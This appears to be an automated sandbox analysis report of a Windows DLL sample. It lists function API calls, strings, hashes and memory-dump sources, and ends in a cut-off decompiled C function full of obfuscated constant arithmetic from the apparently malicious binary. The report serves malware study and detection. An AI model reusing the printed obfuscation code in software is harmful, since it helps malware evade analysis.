Instruction Fuzzy Hash: A931D272801259BBCF559FA6CD45CDFBFB5FF89714F108158FA1462120C3768A60EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4647D, Relevance: 3.1, APIs: 2, Instructions: 112COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6ED4650A
_free.LIBCMT ref: 6ED46530

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: ae162f87a959cdb1b4e035759c7e8ae085c580e23e8b7682961ddaa76c8a7f90
Instruction ID: b72edc279f785bd880be4f2eca06f5b095ee5514299b97aa9276f1e52fa301ce
Opcode Fuzzy Hash: ae162f87a959cdb1b4e035759c7e8ae085c580e23e8b7682961ddaa76c8a7f90
Instruction Fuzzy Hash: B2310B71624605DFEB508FB8DC40B6E33A8EB51324F154A25ED3ACB6C8E370D5474BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED34941, Relevance: 3.1, APIs: 2, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6ED3498E

Part of subcall function 6ED3508F: InitializeSListHead.KERNEL32(6ED6E898,6ED34998,6ED69F78,00000010,6ED34929,?,?,?,6ED34B51,?,00000001,?,?,00000001,?,6ED69FC0), ref: 6ED35094

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6ED349F8

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: 3174832766902ce97f63ea07f1bdef8e1daaaf4321ac0174afacf068cb47a6ee
Instruction ID: 2a35dc264398431775bd42c561802b32605b6a393984918a71710022eed9d65d
Opcode Fuzzy Hash: 3174832766902ce97f63ea07f1bdef8e1daaaf4321ac0174afacf068cb47a6ee
Instruction Fuzzy Hash: 2121DE32948231DAEF509BF498107DC37A49F1726DF30080AC8916B2C1EB2B8047C676

Uniqueness

Uniqueness Score: -1.00%

Function 00F90207, Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 70stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNELBASE(000F59F5,00000000,?,?,?,?,?,?,?,9B842ACC,01B64447,00000000), ref: 00F902E1

Strings

(Gt, xrefs: 00F9025E

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID: lstrcmpi
String ID: (Gt
API String ID: 1586166983-558867117
Opcode ID: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction ID: bb74709f041dcb775d0ec9587afe111c29b22a4078c82efdbb65e0592553ccbd
Opcode Fuzzy Hash: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction Fuzzy Hash: 652166B5E00208FBEF04DFA4CC0A9DEBBB2FB44314F108199E515AA250D7B65A11DF90

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4A9D0, Relevance: 3.1, APIs: 2, Instructions: 67COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 6ED4AA1C
GetFileType.KERNELBASE(00000000), ref: 6ED4AA2E

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 56df8ba61a92dd2ee5155e35ea935220dc86ce01369ec7dff2b1c7b7336c3d90
Instruction ID: 8708013ca45ffce3ab186816ae7470b074640b7a4982711889e59c2febd7a783
Opcode Fuzzy Hash: 56df8ba61a92dd2ee5155e35ea935220dc86ce01369ec7dff2b1c7b7336c3d90
Instruction Fuzzy Hash: D811E131204B52CADB608FBE8E996127AD5A777234B280B3AE0F6961F1E330D582C251

Uniqueness

Uniqueness Score: -1.00%

Function 6ED36D17, Relevance: 3.0, APIs: 2, Instructions: 35COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(?,?,6ED35637,6ED3567D), ref: 6ED36D2A
IsProcessorFeaturePresent.KERNEL32(00000017,6ED48A38,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED47AF5

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodeFeaturePointerPresentProcessor
String ID:
API String ID: 4030241255-0
Opcode ID: dbba579f3503ec0693d2df314853da6d713eb4485ed535c0e85977ba1c62ee2b
Instruction ID: f95558077e256b3044e6054aee2ce7e90e90821c6ecca51ea8124cee5c4f7218
Opcode Fuzzy Hash: dbba579f3503ec0693d2df314853da6d713eb4485ed535c0e85977ba1c62ee2b
Instruction Fuzzy Hash: 90F0B470244B06FAFF916BE0AC16B753BA89B2670CF100418B609590D1DB60C143DD71

Uniqueness

Uniqueness Score: -1.00%

Function 6ED453B5, Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 6ED4C8EF: GetEnvironmentStringsW.KERNEL32 ref: 6ED4C8F8
Part of subcall function 6ED4C8EF: _free.LIBCMT ref: 6ED4C957
Part of subcall function 6ED4C8EF: FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6ED4C966

_free.LIBCMT ref: 6ED453F5
_free.LIBCMT ref: 6ED453FC

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$EnvironmentStrings$Free
String ID:
API String ID: 2490078468-0
Opcode ID: deffcf41458ecfa7f896e53fafcc319b9d65c3561a30909ef616d320e197ab56
Instruction ID: 3f6c4462d1ecb45d38b0a8e7e59baeda5a486f01e661631c78769edc8c87aeb6
Opcode Fuzzy Hash: deffcf41458ecfa7f896e53fafcc319b9d65c3561a30909ef616d320e197ab56
Instruction Fuzzy Hash: 7AE02B27949950CAF35117FEAC4029A17589FA237CF151F27D824CF1C1EFE0C40609B2

Uniqueness

Uniqueness Score: -1.00%

Function 6ED55176, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

Part of subcall function 6ED4B406: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6ED48B1E,00000001,00000364,00000008,000000FF,?,6ED37EB3,?,?,24448D6E,00000000), ref: 6ED4B447

_free.LIBCMT ref: 6ED551E5

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 169a826882dc893e49ad03a19db963688ded5f4b7154eebc68c37dbe46072aa5
Instruction ID: b5e2fe87e46300b8b59ee72dac6c269fee2559e9fdf4debe66866513042fa929
Opcode Fuzzy Hash: 169a826882dc893e49ad03a19db963688ded5f4b7154eebc68c37dbe46072aa5
Instruction Fuzzy Hash: 08012672604316ABD321CFD9D880D9DFFACEB05370F00066AE459A77C0E770A92087A4

Uniqueness

Uniqueness Score: -1.00%

Function 6ED3419F, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 6ED219DE

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: c9b53665c471b7219e58703d19ddfdf5d1cb0ffb153a742e9253a6f9ad2a0dba
Instruction ID: c9490744acda7991f71344abccfd0114e773ea781923fdb75064e8004531ab9c
Opcode Fuzzy Hash: c9b53665c471b7219e58703d19ddfdf5d1cb0ffb153a742e9253a6f9ad2a0dba
Instruction Fuzzy Hash: 15014E3180061EBBCB009FD8DC008C9B79CDF12268B208635F654D7690EB32E59583B5

Uniqueness

Uniqueness Score: -1.00%

Function 6ED49827, Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6ED4B406: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6ED48B1E,00000001,00000364,00000008,000000FF,?,6ED37EB3,?,?,24448D6E,00000000), ref: 6ED4B447

_free.LIBCMT ref: 6ED49847

Part of subcall function 6ED48252: HeapFree.KERNEL32(00000000,00000000,?,6ED53A72,?,00000000,?,?,?,6ED53D17,?,00000007,?,?,6ED51D29,?), ref: 6ED48268
Part of subcall function 6ED48252: GetLastError.KERNEL32(?,?,6ED53A72,?,00000000,?,?,?,6ED53D17,?,00000007,?,?,6ED51D29,?,?), ref: 6ED4827A

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateErrorFreeLast_free
String ID:
API String ID: 314386986-0
Opcode ID: e65bab35d9fabe05480c17a70acb5d4b7ec6b6849b6467fb406972976eea7665
Instruction ID: cfabe4d7407f9f69af4488676f045a591f62d64fe3a814555b08643f0c091bee
Opcode Fuzzy Hash: e65bab35d9fabe05480c17a70acb5d4b7ec6b6849b6467fb406972976eea7665
Instruction Fuzzy Hash: 79014C76D00209AFCB00CFA9C880ADEBBB8FB48310F004666E918E7240E730AA10CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00F8F3F7, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(00000000), ref: 00F8F49F

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction ID: f02900527aec2ba289ef051ac42ac02df0d19fbfd7f74f5e9c65a2481cd52fbf
Opcode Fuzzy Hash: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction Fuzzy Hash: 9D11D6B1E1121DEBDF04DFE4D94AAEEBBB4FB14315F108188E521AA250E7B85B558F80

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4B406, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6ED48B1E,00000001,00000364,00000008,000000FF,?,6ED37EB3,?,?,24448D6E,00000000), ref: 6ED4B447

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 353b0b33f248f2f77e6fda1a966282440a448e6d485d614e252d989e196ea4eb
Instruction ID: f24c33da6d3f44e7bcaa88d3a84ace07f4fffca548ee192eb5e6e747031ad77e
Opcode Fuzzy Hash: 353b0b33f248f2f77e6fda1a966282440a448e6d485d614e252d989e196ea4eb
Instruction Fuzzy Hash: F5F0B43264592EEEEB510FF68805B9E3B98AF7276CB049411E91C9A1C8CB20D54286F0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4828C, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,6ED37EB3,?,?,24448D6E,00000000,?,6ED218D7,?,?,?), ref: 6ED482BE

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 191d5b3abf945df5f00f750888f86608b1091b71e9b6ee5d6d11a1221f238992
Instruction ID: 9422ac137334346b8382eb3dedeec253d1a4df78ce87c570c3689d8fb4452383
Opcode Fuzzy Hash: 191d5b3abf945df5f00f750888f86608b1091b71e9b6ee5d6d11a1221f238992
Instruction Fuzzy Hash: 89E0A039141D22EBFA501BE54E40B963B8CAF222F0F000410F811AA180CB60C48145F5

Uniqueness

Uniqueness Score: -1.00%

Function 6ED35B63, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 6ED35B8B

Part of subcall function 6ED35492: std::_Lockit::_Lockit.LIBCPMT ref: 6ED354A4
Part of subcall function 6ED35492: std::locale::_Setgloballocale.LIBCPMT ref: 6ED354BF
Part of subcall function 6ED35492: _Yarn.LIBCPMT ref: 6ED354D5
Part of subcall function 6ED35492: std::_Lockit::~_Lockit.LIBCPMT ref: 6ED35515

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Lockitstd::_std::locale::_$InitLockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 238635018-0
Opcode ID: 7ba8622f3e2853adbcea37abbb9a6751f7286cb5648791ebf51ea21e66e1891c
Instruction ID: 01b22f8fa3e0beab99c8d4a5f25c24d8d83c27d451ab19723e2689c2110cce66
Opcode Fuzzy Hash: 7ba8622f3e2853adbcea37abbb9a6751f7286cb5648791ebf51ea21e66e1891c
Instruction Fuzzy Hash: 36E02672A11731AFDB505BE8C5113ACA2486F43B26F708809D8105F3C0CFB0882043E1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6ED29380, Relevance: 65.6, APIs: 28, Strings: 9, Instructions: 875memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 6ED294EB
VariantInit.OLEAUT32(?), ref: 6ED2951A
VariantCopy.OLEAUT32(?,?), ref: 6ED2952B
SysFreeString.OLEAUT32(00000000), ref: 6ED29578
SysFreeString.OLEAUT32(-00000001), ref: 6ED29620
SysFreeString.OLEAUT32(00000000), ref: 6ED29698
SysFreeString.OLEAUT32(FFFFFFFE), ref: 6ED29735
SysFreeString.OLEAUT32(00000000), ref: 6ED297AD
SysFreeString.OLEAUT32(FFFFFFFE), ref: 6ED2984A
SysFreeString.OLEAUT32(00000000), ref: 6ED298C2
SysFreeString.OLEAUT32(-00000001), ref: 6ED29959
SysFreeString.OLEAUT32(00000000), ref: 6ED299D1
SysFreeString.OLEAUT32(?), ref: 6ED29A71
VariantClear.OLEAUT32(?), ref: 6ED29AAD
SysFreeString.OLEAUT32(-00000001), ref: 6ED29AC5

Part of subcall function 6ED27ED0: SysAllocString.OLEAUT32(?), ref: 6ED27F46

SysFreeString.OLEAUT32(00000000), ref: 6ED29B00

Part of subcall function 6ED27ED0: VariantInit.OLEAUT32(?), ref: 6ED27F78
Part of subcall function 6ED27ED0: VariantChangeType.OLEAUT32(?,?,00000000,00000008), ref: 6ED27FA0
Part of subcall function 6ED27ED0: SysFreeString.OLEAUT32(-00000001), ref: 6ED27FE1
Part of subcall function 6ED27ED0: SysAllocString.OLEAUT32(?), ref: 6ED28049
Part of subcall function 6ED27ED0: VariantClear.OLEAUT32(?), ref: 6ED2806B
Part of subcall function 6ED27ED0: _com_issue_error.COMSUPP ref: 6ED28096
Part of subcall function 6ED27ED0: _com_issue_error.COMSUPP ref: 6ED280A0
Part of subcall function 6ED27ED0: _com_issue_error.COMSUPP ref: 6ED280A6
Part of subcall function 6ED27ED0: _com_issue_error.COMSUPP ref: 6ED280B0
Part of subcall function 6ED27ED0: _com_issue_error.COMSUPP ref: 6ED280BA

SysFreeString.OLEAUT32(00000000), ref: 6ED29B1F
MultiByteToWideChar.KERNEL32(00000003,00000000,display,000000FF,00000000,00000000,?,00000000,3EF319B9,7504D5B0), ref: 6ED29BA4
SysAllocStringLen.OLEAUT32(00000000,-00000001), ref: 6ED29BAE
MultiByteToWideChar.KERNEL32(00000003,00000000,display,000000FF,00000000,00000000,?,00000000,3EF319B9,7504D5B0), ref: 6ED29BCB
VarBstrCmp.OLEAUT32(00000000,00000000,00000400,00000000), ref: 6ED29BE0
SysFreeString.OLEAUT32(00000000), ref: 6ED29BEF
SysFreeString.OLEAUT32(00000000), ref: 6ED29DF7
SysFreeString.OLEAUT32(00000000), ref: 6ED29E3B
_com_issue_error.COMSUPP ref: 6ED29E7D
_com_issue_error.COMSUPP ref: 6ED29E83
_com_issue_error.COMSUPP ref: 6ED29E8D
SysFreeString.OLEAUT32(7504D5B0), ref: 6ED29E98

Strings

fontColor, xrefs: 6ED29887
fontSize, xrefs: 6ED29996
%lX, xrefs: 6ED29927
fontBold, xrefs: 6ED2965D
true, xrefs: 6ED296F3, 6ED29808
fontFamily, xrefs: 6ED29539
fontItalic, xrefs: 6ED29772
&, xrefs: 6ED29E46
display, xrefs: 6ED29B9B, 6ED29BC2

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Free$_com_issue_error$Variant$Alloc$ByteCharClearInitMultiWide$BstrChangeCopyType
String ID: %lX$&$display$fontBold$fontColor$fontFamily$fontItalic$fontSize$true
API String ID: 31926906-3443811302
Opcode ID: 7e67579159a64cdab20916097813d07fbce8f6a7623199b73aadbd95b25e4481
Instruction ID: 35ac01ae1e3a3c966c9d4189815730d91d2931179d661bdf16d396e2673bee38
Opcode Fuzzy Hash: 7e67579159a64cdab20916097813d07fbce8f6a7623199b73aadbd95b25e4481
Instruction Fuzzy Hash: 8562E270E01716DFEB10CFE4CD54B9EB7B8AF45308F144668EA59AB280DB35E945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED2E6B0, Relevance: 39.0, APIs: 19, Strings: 3, Instructions: 451stringmemoryCOMMON

Download Yara Rule

APIs

CoTaskMemAlloc.OLE32(6ED2DE78,3EF319B9,00000000,00000000), ref: 6ED2E748
CoTaskMemFree.OLE32(00000000,3EF319B9,00000000,00000000), ref: 6ED2E774
CharNextW.USER32(?,00000000), ref: 6ED2E7D9
CharNextW.USER32(00000000), ref: 6ED2E7DE
CharNextW.USER32(00000000), ref: 6ED2E7E3
CharNextW.USER32(00000000), ref: 6ED2E7E8
CharNextW.USER32(?), ref: 6ED2E830
CharNextW.USER32 ref: 6ED2E840
CharNextW.USER32(00000000,3EF319B9,00000000,00000000), ref: 6ED2E8BA
CharNextW.USER32 ref: 6ED2E8E3
CharNextW.USER32(00000000), ref: 6ED2E917
CoTaskMemFree.OLE32(00000000), ref: 6ED2E92D
lstrcmpiW.KERNEL32(?,?), ref: 6ED2E97C
CharNextW.USER32 ref: 6ED2EA02
CoTaskMemFree.OLE32(00000000), ref: 6ED2EA33
CoTaskMemFree.OLE32(00000000,3EF319B9,00000000,00000000), ref: 6ED2EA51
lstrcmpiW.KERNEL32(?,6ED65CC0,?,00000000,C000008C,00000000,00000000), ref: 6ED2EB0D
CoTaskMemFree.OLE32(00000000,C000008C,00000000,00000000), ref: 6ED2EB2C
CharNextW.USER32(?,?,00000000,00000000,00000000,?), ref: 6ED2EBF1

Strings

HKCU{Software{Classes, xrefs: 6ED2E7F5
HKCR, xrefs: 6ED2E7C0
}}, xrefs: 6ED2E88C

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: CharNext$Task$Free$lstrcmpi$Alloc
String ID: }}$HKCR$HKCU{Software{Classes
API String ID: 2337762536-1142484189
Opcode ID: 88877c896e04bdb133da88e0d75bbeab2aab8489241973afdde80da4a3416f45
Instruction ID: 4baadb822b24954efba3571531ba8496b75c31bc60cdeaa51442f8f91c2be27f
Opcode Fuzzy Hash: 88877c896e04bdb133da88e0d75bbeab2aab8489241973afdde80da4a3416f45
Instruction Fuzzy Hash: 08F1B031900319DFDF528BF8C894B9EB7B4AF46308F1045B9EE45AB245EB35D945CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00F991F7, Relevance: 32.4, Strings: 25, Instructions: 1116
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00F991F7() {
				signed int _v8;
				char _v32;
				char _v40;
				signed int _v44;
				char _v52;
				signed int _v64;
				intOrPtr _v68;
				signed int _v72;
				signed int _v76;
				signed int _v88;
				char _v92;
				char _v100;
				char _v108;
				char _v112;
				char _v116;
				char _v120;
				char _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				unsigned int _v168;
				signed int _v172;
				unsigned int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v284;
				unsigned int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				unsigned int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				unsigned int _v408;
				signed int _v412;
				signed int _v416;
				signed int _v420;
				signed int _v424;
				signed int _v428;
				signed int _v432;
				signed int _v436;
				signed int _v440;
				signed int _v444;
				signed int _v448;
				signed int _v452;
				signed int _v456;
				signed int _v460;
				signed int _v464;
				unsigned int _v468;
				signed int _v472;
				unsigned int _v476;
				signed int _v480;
				signed int _v484;
				signed int _v488;
				signed int _v492;
				signed int _v496;
				signed int _v500;
				signed int _v504;
				signed int _v508;
				signed int _v512;
				signed int _v516;
				signed int _v520;
				signed int _v524;
				signed int _v528;
				signed int _v532;
				signed int _v536;
				signed int _v540;
				signed int _v544;
				signed int _v548;
				signed int _v552;
				signed int _v556;
				signed int _v560;
				signed int _v564;
				signed int _v568;
				signed int _v572;
				signed int _v576;
				signed int _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				signed int _v596;
				signed int _t1157;
				signed int _t1161;
				signed int _t1165;
				signed int _t1167;
				signed int _t1197;
				void* _t1204;
				signed int _t1240;
				signed int _t1242;
				signed int _t1243;
				signed int _t1244;
				signed int _t1245;
				signed int _t1246;
				signed int _t1247;
				signed int _t1248;
				signed int _t1249;
				signed int _t1250;
				signed int _t1251;
				signed int _t1252;
				signed int _t1253;
				signed int _t1254;
				signed int _t1255;
				signed int _t1256;
				signed int _t1257;
				signed int _t1258;
				signed int _t1259;
				signed int _t1260;
				signed int _t1261;
				signed int _t1262;
				signed int _t1263;
				signed int _t1264;
				signed int _t1278;
				signed int _t1349;
				signed int _t1350;
				signed int _t1353;
				signed int _t1369;
				signed int _t1381;
				void* _t1383;
				void* _t1388;
				void* _t1389;
				void* _t1390;

				_t1383 = (_t1381 & 0xfffffff8) - 0x250;
				_v132 = 0x2e436f;
				_v132 = _v132 | 0xf460f017;
				_v132 = _v132 ^ 0xf46ef27d;
				_v196 = 0x7e1c2e;
				_v196 = _v196 ^ 0x6e4e5938;
				_v196 = _v196 ^ 0x6e304516;
				_v244 = 0x3317d;
				_v244 = _v244 >> 1;
				_v244 = _v244 ^ 0x000198be;
				_v544 = 0x71e6e4;
				_v544 = _v544 ^ 0x19d035bd;
				_v544 = _v544 ^ 0xde3e36e6;
				_v544 = _v544 ^ 0xd4549da3;
				_v544 = _v544 ^ 0x13ca6661;
				_v252 = 0x207f28;
				_v252 = _v252 ^ 0x96f23610;
				_v252 = _v252 ^ 0x96d56cb8;
				_v284 = 0xb4eb71;
				_v284 = _v284 | 0x642f1f72;
				_v284 = _v284 ^ 0x64bf3882;
				_v300 = 0x36db85;
				_v300 = _v300 | 0x0bc6f940;
				_v300 = _v300 + 0x9fae;
				_v300 = _v300 ^ 0x0bfad767;
				_v208 = 0xa45bd2;
				_v208 = _v208 << 8;
				_v208 = _v208 ^ 0xa452a46b;
				_v336 = 0x6cd8ed;
				_v336 = _v336 * 0x36;
				_t1353 = 0xaa07b46;
				_t1349 = 0x36;
				_v336 = _v336 / _t1349;
				_v336 = _v336 ^ 0x006d1188;
				_v524 = 0xd565be;
				_t1242 = 0x7c;
				_v524 = _v524 / _t1242;
				_v524 = _v524 + 0xd960;
				_v524 = _v524 << 5;
				_v524 = _v524 ^ 0x00539a7f;
				_v528 = 0xe16fa2;
				_v528 = _v528 << 3;
				_v528 = _v528 + 0x4317;
				_v528 = _v528 + 0x3040;
				_v528 = _v528 ^ 0x0704c1ec;
				_v372 = 0x8fac1c;
				_v372 = _v372 ^ 0x1e276069;
				_v372 = _v372 * 0x3f;
				_v372 = _v372 ^ 0x8b8c4a83;
				_v272 = 0x48fc0a;
				_v272 = _v272 << 4;
				_v272 = _v272 ^ 0x048c9edd;
				_v516 = 0x93770a;
				_v516 = _v516 >> 9;
				_v516 = _v516 | 0x4252a838;
				_v516 = _v516 + 0x705d;
				_v516 = _v516 ^ 0x4251f9f6;
				_v512 = 0x41b3f;
				_v512 = _v512 >> 7;
